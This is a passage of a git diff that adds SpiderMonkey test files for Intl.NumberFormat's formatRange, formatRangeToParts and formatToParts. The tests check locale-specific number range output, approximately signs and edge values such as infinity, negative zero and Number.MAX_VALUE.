+ {start: -0, end: -Number.MAX_VALUE, result: "-0,00–" + de_Number_MAX_VALUE + ",00 €"},
+ {start: 1, end: 0, result: "1,00–0,00 €"},
+ {start: 0, end: -1, result: "0,00 € – -1,00 €"},
+ {start: 1, end: -1, result: "1,00 € – -1,00 €"},
+ {start: -1, end: -2, result: "-1,00–2,00 €"},
+ {start: "10e2", end: "1e-3", result: "1.000,00–0,00 €"},
+ {start: "0x100", end: "1e1", result: "256,00–10,00 €"},
+ {start: ".1e-999999", end: ".01e-999999", result: "≈0,00 €"},
+ {start: ".1e99999", end: "0", result: "100" + ".000".repeat(33332) + ",00–0,00 €"},
+ // Number.MAX_VALUE is 1.7976931348623157e+308.
+ {
+ start: "1.7976931348623158e+308",
+ end: Number.MAX_VALUE,
+ result: "179.769.313.486.231.580" + ".000".repeat(97) + ",00–" + de_Number_MAX_VALUE + ",00 €",
+ },
+ // Number.MIN_VALUE is 5e-324.
+ {start: "6e-324", end: Number.MIN_VALUE, result: "≈0,00 €"},
+ ],
+ },
+ "fr": {
+ options: {style: "unit", unit: "meter"},
+ ranges: [
+ // Values around zero.
+ {start: 0, end: 0, result: "≃0 m"},
+ {start: -0, end: 0, result: "-0 – 0 m"},
+ {start: -0, end: 0, result: "-0 – 0 m"},
+ {start: -0, end: 0.1e-3, result: "-0 – 0 m"},
+ {start: -0, end: "0.1e-3", result: "-0 – 0 m"},
+ {start: "-0", end: 0.1e-3, result: "-0 – 0 m"},
+ {start: -0, end: -0, result: "≃-0 m"},
+ {start: -0, end: -0.1, result: "-0 – -0,1 m"},
+
+ // Values starting at negative infinity.
+ {start: -Infinity, end: -Infinity, result: "≃-∞ m"},
+ {start: -Infinity, end: -0, result: "-∞ – -0 m"},
+ {start: -Infinity, end: +0, result: "-∞ – 0 m"},
+ {start: -Infinity, end: +Infinity, result: "-∞ – ∞ m"},
+
+ // Values ending at negative infinity.
+ {start: -Number.MAX_VALUE, end: -Infinity, result: "-" + fr_Number_MAX_VALUE + " – -∞ m"},
+ {start: -0, end: -Infinity, result: "-0 – -∞ m"},
+ {start: 0, end: -Infinity, result: "0–-∞ m"},
+ {start: Number.MAX_VALUE, end: -Infinity, result: fr_Number_MAX_VALUE + "–-∞ m"},
+
+ // Values starting at positive infinity.
+ {start: Infinity, end: Number.MAX_VALUE, result: "∞–" + fr_Number_MAX_VALUE + " m"},
+ {start: Infinity, end: 0, result: "∞–0 m"},
+ {start: Infinity, end: -0, result: "∞–-0 m"},
+ {start: Infinity, end: -Number.MAX_VALUE, result: "∞–-" + fr_Number_MAX_VALUE + " m"},
+ {start: Infinity, end: -Infinity, result: "∞–-∞ m"},
+
+ // Values ending at positive infinity.
+ {start: Infinity, end: Infinity, result: "≃∞ m"},
+
+ // Non-special cases.
+ {start: 1, end: 100, result: "1–100 m"},
+ {start: -100, end: 100, result: "-100 – 100 m"},
+ {start: -1000, end: -100, result: "-1 000 – -100 m"},
+ {start: Math.PI, end: 123_456.789, result: "3,142–123 456,789 m"},
+ {start: -Math.PI, end: Math.E, result: "-3,142 – 2,718 m"},
+ {
+ start: Number.MAX_SAFE_INTEGER,
+ end: 9007199254740993,
+ result: "9 007 199 254 740 991–9 007 199 254 740 992 m",
+ },
+ {
+ start: Number.MAX_SAFE_INTEGER,
+ end: "9007199254740993",
+ result: "9 007 199 254 740 991–9 007 199 254 740 993 m",
+ },
+
+ // Start value is larger than end value.
+ {start: -0, end: -0.1, result: "-0 – -0,1 m"},
+ {start: -0, end: -Number.MAX_VALUE, result: "-0 – -" + fr_Number_MAX_VALUE + " m"},
+ {start: 1, end: 0, result: "1–0 m"},
+ {start: 0, end: -1, result: "0–-1 m"},
+ {start: 1, end: -1, result: "1–-1 m"},
+ {start: -1, end: -2, result: "-1 – -2 m"},
+ {start: "10e2", end: "1e-3", result: "1 000–0,001 m"},
+ {start: "0x100", end: "1e1", result: "256–10 m"},
+ {start: ".1e-999999", end: ".01e-999999", result: "≃0 m"},
+ {start: ".1e99999", end: "0", result: "100" + " 000".repeat(33332) + "–0 m"},
+ // Number.MAX_VALUE is 1.7976931348623157e+308.
+ {
+ start: "1.7976931348623158e+308",
+ end: Number.MAX_VALUE,
+ result: "179 769 313 486 231 580" + " 000".repeat(97) + "–" + fr_Number_MAX_VALUE + " m",
+ },
+ // Number.MIN_VALUE is 5e-324.
+ {start: "6e-324", end: Number.MIN_VALUE, result: "≃0 m"},
+ ],
+ },
+ // Non-ASCII digits.
+ "ar": {
+ options: {},
+ ranges: [
+ {start: -2, end: -1, result: "؜-٢–١"},
+ {start: -1, end: -1, result: "~؜-١"},
+ {start: -1, end: 0, result: "؜-١ – ٠"},
+ {start: 0, end: 0, result: "~٠"},
+ {start: 0, end: 1, result: "٠–١"},
+ {start: 1, end: 1, result: "~١"},
+ {start: 1, end: 2, result: "١–٢"},
+ ],
+ },
+ "th-u-nu-thai": {
+ options: {},
+ ranges: [
+ {start: -2, end: -1, result: "-๒ - -๑"},
+ {start: -1, end: -1, result: "~-๑"},
+ {start: -1, end: 0, result: "-๑ - ๐"},
+ {start: 0, end: 0, result: "~๐"},
+ {start: 0, end: 1, result: "๐-๑"},
+ {start: 1, end: 1, result: "~๑"},
+ {start: 1, end: 2, result: "๑-๒"},
+ ],
+ },
+ // Approximation sign may consist of multiple characters.
+ "no": {
+ options: {},
+ ranges: [
+ {start: 1, end: 1, result: "ca.1"},
+ ],
+ },
+ // Approximation sign can be a word.
+ "ja": {
+ options: {},
+ ranges: [
+ {start: 1, end: 1, result: "約1"},
+ ],
+ },
+};
+
+for (let [locale, {options, ranges}] of Object.entries(tests)) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let {start, end, result} of ranges) {
+ assertEq(nf.formatRange(start, end), result, `${start}-${end}`);
+ assertEq(nf.formatRangeToParts(start, end).reduce((acc, part) => acc + part.value, ""),
+ result, `${start}-${end}`);
+ }
+}
+
+// Throws an error if either value is NaN.
+{
+ const errorTests = [
+ {start: NaN, end: NaN},
+ {start: 0, end: NaN},
+ {start: NaN, end: 0},
+ {start: Infinity, end: NaN},
+ {start: NaN, end: Infinity},
+ ];
+
+ let nf = new Intl.NumberFormat("en");
+ for (let {start, end} of errorTests) {
+ assertThrowsInstanceOf(() => nf.formatRange(start, end), RangeError);
+ assertThrowsInstanceOf(() => nf.formatRangeToParts(start, end), RangeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-compact.js b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-compact.js
new file mode 100644
index 0000000000..b3ee5aedf3
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-compact.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+const numbers = [
+ 0, 1, 2, 5, 10, 100, 1000, 10_000, 100_000, 1_000_000,
+ 0.1, 0.2, 0.5, 1.5,
+ -0, -1, -2, -5,
+ Infinity, -Infinity,
+];
+
+const options = {notation: "compact"};
+
+// List of known approximately sign in CLDR 40.
+const approximatelySigns = [
+ "~", "∼", "≈", "≃", "ca.", "約", "dáàṣì", "dáàshì",
+];
+
+// Iterate over all locales and ensure we find exactly one approximately sign.
+for (let locale of getAvailableLocalesOf("NumberFormat").sort()) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let number of numbers) {
+ let parts = nf.formatRangeToParts(number, number);
+ let approx = parts.filter(part => part.type === "approximatelySign");
+
+ assertEq(approx.length, 1);
+ assertEq(approximatelySigns.some(approxSign => approx[0].value.includes(approxSign)), true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-currency.js b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-currency.js
new file mode 100644
index 0000000000..72722b3b18
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-currency.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+const numbers = [
+ 0, 1, 2, 5, 10, 100, 1000, 10_000, 100_000, 1_000_000,
+ 0.1, 0.2, 0.5, 1.5,
+ -0, -1, -2, -5,
+ Infinity, -Infinity,
+];
+
+const options = {style: "currency", currency: "EUR"};
+
+// List of known approximately sign in CLDR 40.
+const approximatelySigns = [
+ "~", "∼", "≈", "≃", "ca.", "約", "dáàṣì", "dáàshì",
+];
+
+// Iterate over all locales and ensure we find exactly one approximately sign.
+for (let locale of getAvailableLocalesOf("NumberFormat").sort()) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let number of numbers) {
+ let parts = nf.formatRangeToParts(number, number);
+ let approx = parts.filter(part => part.type === "approximatelySign");
+
+ assertEq(approx.length, 1);
+ assertEq(approximatelySigns.some(approxSign => approx[0].value.includes(approxSign)), true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-percent.js b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-percent.js
new file mode 100644
index 0000000000..f93ae25de8
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-percent.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+const numbers = [
+ 0, 1, 2, 5, 10, 100, 1000, 10_000, 100_000, 1_000_000,
+ 0.1, 0.2, 0.5, 1.5,
+ -0, -1, -2, -5,
+ Infinity, -Infinity,
+];
+
+const options = {style: "percent"};
+
+// List of known approximately sign in CLDR 40.
+const approximatelySigns = [
+ "~", "∼", "≈", "≃", "ca.", "約", "dáàṣì", "dáàshì",
+];
+
+// Iterate over all locales and ensure we find exactly one approximately sign.
+for (let locale of getAvailableLocalesOf("NumberFormat").sort()) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let number of numbers) {
+ let parts = nf.formatRangeToParts(number, number);
+ let approx = parts.filter(part => part.type === "approximatelySign");
+
+ assertEq(approx.length, 1);
+ assertEq(approximatelySigns.some(approxSign => approx[0].value.includes(approxSign)), true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-signDisplay.js b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-signDisplay.js
new file mode 100644
index 0000000000..197f6f9f0d
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-signDisplay.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+const numbers = [
+ 0, 1, 2, 5, 10, 100, 1000, 10_000, 100_000, 1_000_000,
+ 0.1, 0.2, 0.5, 1.5,
+ -0, -1, -2, -5,
+ Infinity, -Infinity,
+];
+
+const options = {signDisplay: "always"};
+
+// List of known approximately sign in CLDR 40.
+const approximatelySigns = [
+ "~", "∼", "≈", "≃", "ca.", "約", "dáàṣì", "dáàshì",
+];
+
+// Iterate over all locales and ensure we find exactly one approximately sign.
+for (let locale of getAvailableLocalesOf("NumberFormat").sort()) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let number of numbers) {
+ let parts = nf.formatRangeToParts(number, number);
+ let approx = parts.filter(part => part.type === "approximatelySign");
+
+ assertEq(approx.length, 1);
+ assertEq(approximatelySigns.some(approxSign => approx[0].value.includes(approxSign)), true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-unit.js b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-unit.js
new file mode 100644
index 0000000000..51507e57df
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-unit.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+const numbers = [
+ 0, 1, 2, 5, 10, 100, 1000, 10_000, 100_000, 1_000_000,
+ 0.1, 0.2, 0.5, 1.5,
+ -0, -1, -2, -5,
+ Infinity, -Infinity,
+];
+
+const options = {style: "unit", unit: "meter"};
+
+// List of known approximately sign in CLDR 40.
+const approximatelySigns = [
+ "~", "∼", "≈", "≃", "ca.", "約", "dáàṣì", "dáàshì",
+];
+
+// Iterate over all locales and ensure we find exactly one approximately sign.
+for (let locale of getAvailableLocalesOf("NumberFormat").sort()) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let number of numbers) {
+ let parts = nf.formatRangeToParts(number, number);
+ let approx = parts.filter(part => part.type === "approximatelySign");
+
+ // Known failure case.
+ // - https://github.com/tc39/proposal-intl-numberformat-v3/issues/64
+ // - https://unicode-org.atlassian.net/browse/CLDR-14918
+ if (approx.length === 0 && new Intl.Locale(locale).language === "ar") {
+ continue;
+ }
+
+ assertEq(approx.length, 1);
+ assertEq(approximatelySigns.some(approxSign => approx[0].value.includes(approxSign)), true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign.js b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign.js
new file mode 100644
index 0000000000..edb63c2b00
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+const numbers = [
+ 0, 1, 2, 5, 10, 100, 1000, 10_000, 100_000, 1_000_000,
+ 0.1, 0.2, 0.5, 1.5,
+ -0, -1, -2, -5,
+ Infinity, -Infinity,
+];
+
+const options = {};
+
+// List of known approximately sign in CLDR 40.
+const approximatelySigns = [
+ "~", "∼", "≈", "≃", "ca.", "約", "dáàṣì", "dáàshì",
+];
+
+// Iterate over all locales and ensure we find exactly one approximately sign.
+for (let locale of getAvailableLocalesOf("NumberFormat").sort()) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let number of numbers) {
+ let parts = nf.formatRangeToParts(number, number);
+ let approx = parts.filter(part => part.type === "approximatelySign");
+
+ assertEq(approx.length, 1);
+ assertEq(approximatelySigns.some(approxSign => approx[0].value.includes(approxSign)), true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts.js b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts.js
new file mode 100644
index 0000000000..264dab910c
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRangeToParts.js
@@ -0,0 +1,174 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+const Start = NumberRangeFormatParts("startRange");
+const End = NumberRangeFormatParts("endRange");
+const Shared = NumberRangeFormatParts("shared");
+
+const tests = {
+ "en": {
+ options: {},
+ ranges: [
+ // Approximation sign present.
+ {
+ start: 0,
+ end: 0,
+ result: [Shared.Approx("~"), Shared.Integer("0")],
+ },
+ {
+ start: -0,
+ end: -0,
+ result: [Shared.Approx("~"), Shared.MinusSign("-"), Shared.Integer("0")],
+ },
+ {
+ start: -1,
+ end: -1,
+ result: [Shared.Approx("~"), Shared.MinusSign("-"), Shared.Integer("1")],
+ },
+ {
+ start: 0.5,
+ end: 0.5,
+ result: [Shared.Approx("~"), Shared.Integer("0"), Shared.Decimal("."), Shared.Fraction("5")],
+ },
+ {
+ start: Infinity,
+ end: Infinity,
+ result: [Shared.Approx("~"), Shared.Inf("∞")],
+ },
+ {
+ start: -Infinity,
+ end: -Infinity,
+ result: [Shared.Approx("~"), Shared.MinusSign("-"), Shared.Inf("∞")],
+ },
+
+ // Proper ranges.
+ {
+ start: -2,
+ end: -1,
+ result: [Start.MinusSign("-"), Start.Integer("2"), Shared.Literal(" – "), End.MinusSign("-"), End.Integer("1")],
+ },
+ {
+ start: -1,
+ end: 1,
+ result: [Start.MinusSign("-"), Start.Integer("1"), Shared.Literal(" – "), End.Integer("1")],
+ },
+ {
+ start: 1,
+ end: 2,
+ result: [Start.Integer("1"), Shared.Literal("–"), End.Integer("2")],
+ },
+ ],
+ },
+ // Non-ASCII digits.
+ "ar": {
+ options: {},
+ ranges: [
+ {
+ start: -2,
+ end: -1,
+ result: [Shared.Literal("\u061C"), Shared.MinusSign("-"), Start.Integer("٢"), Shared.Literal("–"), End.Integer("١")],
+ },
+ {
+ start: -1,
+ end: -1,
+ result: [Shared.Approx("~"), Shared.Literal("\u061C"), Shared.MinusSign("-"), Shared.Integer("١")],
+ },
+ {
+ start: -1,
+ end: 0,
+ result: [Start.Literal("\u061C"), Start.MinusSign("-"), Start.Integer("١"), Shared.Literal(" – "), End.Integer("٠")],
+ },
+ {
+ start: 0,
+ end: 0,
+ result: [Shared.Approx("~"), Shared.Integer("٠")],
+ },
+ {
+ start: 0,
+ end: 1,
+ result: [Start.Integer("٠"), Shared.Literal("–"), End.Integer("١")],
+ },
+ {
+ start: 1,
+ end: 1,
+ result: [Shared.Approx("~"), Shared.Integer("١")],
+ },
+ {
+ start: 1,
+ end: 2,
+ result: [Start.Integer("١"), Shared.Literal("–"), End.Integer("٢")],
+ },
+ ],
+ },
+ "th-u-nu-thai": {
+ options: {},
+ ranges: [
+ {
+ start: -2,
+ end: -1,
+ result: [Start.MinusSign("-"), Start.Integer("๒"), Shared.Literal(" - "), End.MinusSign("-"), End.Integer("๑")],
+ },
+ {
+ start: -1,
+ end: -1,
+ result: [Shared.Approx("~"), Shared.MinusSign("-"), Shared.Integer("๑")],
+ },
+ {
+ start: -1,
+ end: 0,
+ result: [Start.MinusSign("-"), Start.Integer("๑"), Shared.Literal(" - "), End.Integer("๐")],
+ },
+ {
+ start: 0,
+ end: 0,
+ result: [Shared.Approx("~"), Shared.Integer("๐")],
+ },
+ {
+ start: 0,
+ end: 1,
+ result: [Start.Integer("๐"), Shared.Literal("-"), End.Integer("๑")],
+ },
+ {
+ start: 1,
+ end: 1,
+ result: [Shared.Approx("~"), Shared.Integer("๑")],
+ },
+ {
+ start: 1,
+ end: 2,
+ result: [Start.Integer("๑"), Shared.Literal("-"), End.Integer("๒")],
+ },
+ ],
+ },
+ // Approximation sign may consist of multiple characters.
+ "no": {
+ options: {},
+ ranges: [
+ {
+ start: 1,
+ end: 1,
+ result: [Shared.Approx("ca."), Shared.Integer("1")],
+ },
+ ],
+ },
+ // Approximation sign can be a word.
+ "ja": {
+ options: {},
+ ranges: [
+ {
+ start: 1,
+ end: 1,
+ result: [Shared.Approx("約"), Shared.Integer("1")],
+ },
+ ],
+ },
+};
+
+for (let [locale, {options, ranges}] of Object.entries(tests)) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let {start, end, result} of ranges) {
+ assertRangeParts(nf, start, end, result);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatToParts.js b/js/src/tests/non262/Intl/NumberFormat/formatToParts.js
new file mode 100644
index 0000000000..3ac7c3f4d3
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatToParts.js
@@ -0,0 +1,357 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1289882;
+var summary = "Implement Intl.NumberFormat.prototype.formatToParts";
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+assertEq("formatToParts" in Intl.NumberFormat(), true);
+
+// NOTE: Some of these tests exercise standard behavior (e.g. that format and
+// formatToParts expose the same formatted string). But much of this,
+// like the exact-formatted-string expectations, is technically
+// implementation-dependent. This is necessary as a practical matter to
+// properly test the conversion from ICU's nested-field exposure to
+// ECMA-402's sequential-parts exposure.
+
+var {
+ Nan, Inf, Integer, Group, Decimal, Fraction,
+ MinusSign, PlusSign, PercentSign, Currency, Literal,
+} = NumberFormatParts;
+
+//-----------------------------------------------------------------------------
+
+// Test -0's partitioning now that it's not treated like +0.
+// https://github.com/tc39/ecma402/pull/232
+
+var deadSimpleFormatter = new Intl.NumberFormat("en-US");
+
+assertParts(deadSimpleFormatter, -0,
+ [MinusSign("-"), Integer("0")]);
+
+// Test behavior of a currency with code formatting.
+var usdCodeOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsCode = new Intl.NumberFormat("en-US", usdCodeOptions);
+
+assertParts(usDollarsCode, 25,
+ [Currency("USD"), Literal("\xA0"), Integer("25")]);
+
+// ISO 4217 currency codes are formed from an ISO 3166-1 alpha-2 country code
+// followed by a third letter. ISO 3166 guarantees that no country code
+// starting with "X" will ever be assigned. Stepping carefully around a few
+// 4217-designated special "currencies", XQQ will never have a representation.
+// Thus, yes: this really is specified to work, as unrecognized or unsupported
+// codes pass into the string unmodified.
+var xqqCodeOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyCode = new Intl.NumberFormat("en-US", xqqCodeOptions);
+
+assertParts(xqqMoneyCode, 25,
+ [Currency("XQQ"), Literal("\xA0"), Integer("25")]);
+
+// Test currencyDisplay: "name".
+var usdNameOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsName = new Intl.NumberFormat("en-US", usdNameOptions);
+
+assertParts(usDollarsName, 25,
+ [Integer("25"), Literal(" "), Currency("US dollars")]);
+
+var usdNameGroupingOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsNameGrouping =
+ new Intl.NumberFormat("en-US", usdNameGroupingOptions);
+
+assertParts(usDollarsNameGrouping, 12345678,
+ [Integer("12"),
+ Group(","),
+ Integer("345"),
+ Group(","),
+ Integer("678"),
+ Literal(" "),
+ Currency("US dollars")]);
+
+// But if the implementation doesn't recognize the currency, the provided code
+// is used in place of a proper name, unmolested.
+var xqqNameOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyName = new Intl.NumberFormat("en-US", xqqNameOptions);
+
+assertParts(xqqMoneyName, 25,
+ [Integer("25"), Literal(" "), Currency("XQQ")]);
+
+// Test some currencies with fractional components.
+
+var usdNameFractionOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ };
+var usdNameFractionFormatter =
+ new Intl.NumberFormat("en-US", usdNameFractionOptions);
+
+// The US national surplus (i.e. debt) as of October 18, 2016. (Replicating
+// data from a comment in builtin/Intl/NumberFormat.cpp.)
+var usNationalSurplus = -19766580028249.41;
+
+assertParts(usdNameFractionFormatter, usNationalSurplus,
+ [MinusSign("-"),
+ Integer("19"),
+ Group(","),
+ Integer("766"),
+ Group(","),
+ Integer("580"),
+ Group(","),
+ Integer("028"),
+ Group(","),
+ Integer("249"),
+ Decimal("."),
+ Fraction("41"),
+ Literal(" "),
+ Currency("US dollars")]);
+
+// Percents in various forms.
+
+var usPercentOptions =
+ {
+ style: "percent",
+ minimumFractionDigits: 1,
+ maximumFractionDigits: 1,
+ };
+var usPercentFormatter =
+ new Intl.NumberFormat("en-US", usPercentOptions);
+
+assertParts(usPercentFormatter, 0.375,
+ [Integer("37"), Decimal("."), Fraction("5"), PercentSign("%")]);
+
+assertParts(usPercentFormatter, -1284.375,
+ [MinusSign("-"),
+ Integer("128"),
+ Group(","),
+ Integer("437"),
+ Decimal("."),
+ Fraction("5"),
+ PercentSign("%")]);
+
+assertParts(usPercentFormatter, NaN,
+ [Nan("NaN"), PercentSign("%")]);
+
+assertParts(usPercentFormatter, Infinity,
+ [Inf("∞"), PercentSign("%")]);
+
+assertParts(usPercentFormatter, -Infinity,
+ [MinusSign("-"), Inf("∞"), PercentSign("%")]);
+
+var dePercentOptions =
+ {
+ style: "percent",
+ minimumFractionDigits: 1,
+ maximumFractionDigits: 1,
+ };
+var dePercentFormatter =
+ new Intl.NumberFormat("de", dePercentOptions);
+
+assertParts(dePercentFormatter, 0.375,
+ [Integer("37"), Decimal(","), Fraction("5"), Literal("\xA0"), PercentSign("%")]);
+
+assertParts(dePercentFormatter, -1284.375,
+ [MinusSign("-"),
+ Integer("128"),
+ Group("."),
+ Integer("437"),
+ Decimal(","),
+ Fraction("5"),
+ Literal("\xA0"),
+ PercentSign("%")]);
+
+assertParts(dePercentFormatter, NaN,
+ [Nan("NaN"), Literal("\xA0"), PercentSign("%")]);
+
+assertParts(dePercentFormatter, Infinity,
+ [Inf("∞"), Literal("\xA0"), PercentSign("%")]);
+
+assertParts(dePercentFormatter, -Infinity,
+ [MinusSign("-"), Inf("∞"), Literal("\xA0"), PercentSign("%")]);
+
+var arPercentOptions =
+ {
+ style: "percent",
+ minimumFractionDigits: 2,
+ };
+var arPercentFormatter =
+ new Intl.NumberFormat("ar-IQ", arPercentOptions);
+
+assertParts(arPercentFormatter, -135.32,
+ [Literal("\u{061C}"),
+ MinusSign("-"),
+ Integer("١٣"),
+ Group("٬"),
+ Integer("٥٣٢"),
+ Decimal("٫"),
+ Fraction("٠٠"),
+ PercentSign("٪"),
+ Literal("\u{061C}")]);
+
+// Decimals.
+
+var usDecimalOptions =
+ {
+ style: "decimal",
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var usDecimalFormatter =
+ new Intl.NumberFormat("en-US", usDecimalOptions);
+
+assertParts(usDecimalFormatter, 42,
+ [Integer("42")]);
+
+assertParts(usDecimalFormatter, 1337,
+ [Integer("1"), Group(","), Integer("337")]);
+
+assertParts(usDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal("."), Fraction("25")]);
+
+assertParts(usDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1"),
+ Group(","),
+ Integer("376"),
+ Decimal("."),
+ Fraction("25")]);
+
+assertParts(usDecimalFormatter, 124816.8359375,
+ [Integer("124"),
+ Group(","),
+ Integer("816"),
+ Decimal("."),
+ Fraction("8359375")]);
+
+var usNoGroupingDecimalOptions =
+ {
+ style: "decimal",
+ useGrouping: false,
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var usNoGroupingDecimalFormatter =
+ new Intl.NumberFormat("en-US", usNoGroupingDecimalOptions);
+
+assertParts(usNoGroupingDecimalFormatter, 1337,
+ [Integer("1337")]);
+
+assertParts(usNoGroupingDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal("."), Fraction("25")]);
+
+assertParts(usNoGroupingDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1376"),
+ Decimal("."),
+ Fraction("25")]);
+
+assertParts(usNoGroupingDecimalFormatter, 124816.8359375,
+ [Integer("124816"),
+ Decimal("."),
+ Fraction("8359375")]);
+
+var deDecimalOptions =
+ {
+ style: "decimal",
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var deDecimalFormatter =
+ new Intl.NumberFormat("de-DE", deDecimalOptions);
+
+assertParts(deDecimalFormatter, 42,
+ [Integer("42")]);
+
+assertParts(deDecimalFormatter, 1337,
+ [Integer("1"), Group("."), Integer("337")]);
+
+assertParts(deDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal(","), Fraction("25")]);
+
+assertParts(deDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1"),
+ Group("."),
+ Integer("376"),
+ Decimal(","),
+ Fraction("25")]);
+
+assertParts(deDecimalFormatter, 124816.8359375,
+ [Integer("124"),
+ Group("."),
+ Integer("816"),
+ Decimal(","),
+ Fraction("8359375")]);
+
+var deNoGroupingDecimalOptions =
+ {
+ style: "decimal",
+ useGrouping: false,
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var deNoGroupingDecimalFormatter =
+ new Intl.NumberFormat("de-DE", deNoGroupingDecimalOptions);
+
+assertParts(deNoGroupingDecimalFormatter, 1337,
+ [Integer("1337")]);
+
+assertParts(deNoGroupingDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal(","), Fraction("25")]);
+
